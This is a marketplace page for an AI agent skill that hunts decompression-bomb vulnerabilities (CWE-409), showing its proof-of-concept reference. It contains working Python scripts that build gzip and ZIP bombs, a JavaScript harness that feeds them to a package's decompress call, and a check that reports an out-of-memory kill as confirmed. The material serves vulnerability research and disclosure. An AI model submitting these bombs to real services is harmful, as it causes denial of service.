ajtazer/heckit / skills/cve-hunting/decompression-bomb
decompression-bomb
VerifiedDetect decompression bomb vulnerabilities where compressed input can expand to exhaust memory, targeting buffer-based decompression without size limits.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 2.8 KB |
| references/false-positive-indicators.md | markdown | 959 B |
| references/poc-skeleton.md | markdown | 2.5 KB |
| references/sinks.md | markdown | 1.7 KB |
references/poc-skeleton.md
View on GitHub# PoC Skeleton -- Decompression Bomb
## Creating a Gzip Bomb
```python
#!/usr/bin/env python3
"""Create a gzip bomb for testing decompression limits."""
import gzip
import io
def create_gzip_bomb(output_size_mb=100):
"""Create compressed data that expands to output_size_mb megabytes."""
data = b'\x00' * (output_size_mb * 1024 * 1024) # Zeros compress extremely well
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode='wb', compresslevel=9) as f:
f.write(data)
compressed = buf.getvalue()
print(f'[+] Compressed: {len(compressed)} bytes')
print(f'[+] Expands to: {output_size_mb} MB')
print(f'[+] Ratio: {len(data) / len(compressed):.0f}:1')
return compressed
bomb = create_gzip_bomb(500) # 500MB expansion
with open('bomb.gz', 'wb') as f:
f.write(bomb)
```
## JavaScript PoC
```js
/**
* CVE-CANDIDATE: Decompression Bomb in [package-name] [version]
* CWE: CWE-409 (Improper Handling of Highly Compressed Data)
* CVSS: 7.5 HIGH
*/
const pkg = require('[package-name]');
const fs = require('fs');
const bomb = fs.readFileSync('bomb.gz');
console.log('[*] Compressed size:', bomb.length, 'bytes');
console.log('[*] Decompressing...');
const before = process.memoryUsage().heapUsed;
try {
const result = pkg.decompress(bomb);
const after = process.memoryUsage().heapUsed;
console.log(`[+] Decompressed: ${(result.length / 1024 / 1024).toFixed(2)} MB`);
console.log(`[+] Memory growth: ${((after - before) / 1024 / 1024).toFixed(2)} MB`);
} catch (e) {
console.log('[!] Error:', e.message);
}
// Process likely OOM killed before reaching this point
```
## ZIP Bomb
```python
#!/usr/bin/env python3
"""Create a ZIP bomb."""
import zipfile
import io
def create_zip_bomb():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED, compresslevel=9) as zf:
# Single file that expands massively
zf.writestr('bomb.txt', b'\x00' * (100 * 1024 * 1024))
buf.seek(0)
with open('bomb.zip', 'wb') as f:
f.write(buf.read())
print(f'[+] Created bomb.zip: {buf.tell()} bytes compressed')
create_zip_bomb()
```
## Measuring Memory Growth
```python
#!/usr/bin/env python3
import subprocess, sys
result = subprocess.run(
['node', 'poc.js'],
capture_output=True, timeout=30
)
if result.returncode == -9:
print('[+] CONFIRMED: OOM kill -- decompression bomb successful')
elif result.returncode == -6:
print('[+] CONFIRMED: SIGABRT -- memory allocation failure')
else:
print(f'[*] Exit code: {result.returncode}')
print(result.stdout.decode())
```
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |